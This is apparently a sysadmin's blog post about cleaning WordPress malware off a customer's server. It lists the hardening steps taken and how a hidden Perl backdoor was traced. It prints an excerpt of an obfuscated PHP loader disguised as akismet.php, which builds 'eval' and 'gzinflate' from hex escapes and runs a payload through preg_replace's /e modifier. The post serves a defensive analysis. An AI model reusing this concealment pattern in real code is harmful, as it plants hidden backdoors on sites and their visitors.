A customer’s server was compromised ages ago with lots of lots of WordPress malware.
The developers are now on top of it, thanks to a combination of :
* Removing wordpress’s write permission (moving over to just use SFTP)
* Adding maldet (Linux Malware Detection).
* Tightening up the firewall so only incoming connections to specific ports are allowed.
* Stopping anyone except Postfix from being able to send out email (e.g
iptables -I OUTPUT -p tcp -m multiport --dpots 25,587 -m state --state NEW -m owner ! --uid-owner 106 -j REJECT and of course logging attempts)
Most of the malware was easy to spot – references to eval / base64_decode – which are easy to ack-grep for. Or the malware would launch processes which would retain their /proc/$pid/environ file – and therefore be quite easy to locate.
However, one launched a perl process which was difficult to track down – partly because it wiped it’s /proc/$pid/environ file so it was hard to know which site it was running from. Thankfully, there was a filehandle to the launching code (/tmp file that was deleted on execution) (/proc/$pid/fd/xx) which could be easily read – which revealed enough information to lead to it’s identification.
So, behold /wp-content/plugins/akismet.php (so believable file name)
Random interesting contents below:
/** * Functions for reading, writing, modifying, and deleting files on the file system. * Includes functionality for theme-specific files as well as operations for uploading, * archiving, and rendering output when necessary. * * @package WordPress * @subpackage Administration * * @id : c78fb310d8ec1daaba40e84241bc4d42dc */ /** The descriptions for theme files. */ $hash = "ff6fd53c4b437772493471d68799f69d"; $search = ''; $wp_file_descriptions = array( 'index.php' => 'Main Index Template', 'style.css' => 'Stylesheet', 'editor-style.css' => 'Visual Editor Stylesheet', 'editor-style-rtl.css' => 'Visual Editor RTL Stylesheet', 'rtl.css' => "\x65val.gz"."in\x66late", 'comments.php' => 'Comments', ... for($i = 0; $i < strlen($wp_file_descriptions['md5_check.php']); $i = $i+2) $search .= '%'.substr($wp_file_descriptions['md5_check.php'], $i, 2); $wp_template = @preg_replace("/([a-z0-9-%]+).([a-z-@]+).([a-z]+)/\x65", "$2($3(urldecode('$1')))", $search.".@".$wp_file_descriptions['rtl.css']);
0x65 == ‘e’, and 0x66 == ‘f’, so the preg_replace is executing code with the \e modifier.
The code that eventually gets executed opens port 26450 (tcp) and was presumably some sort of backdoor.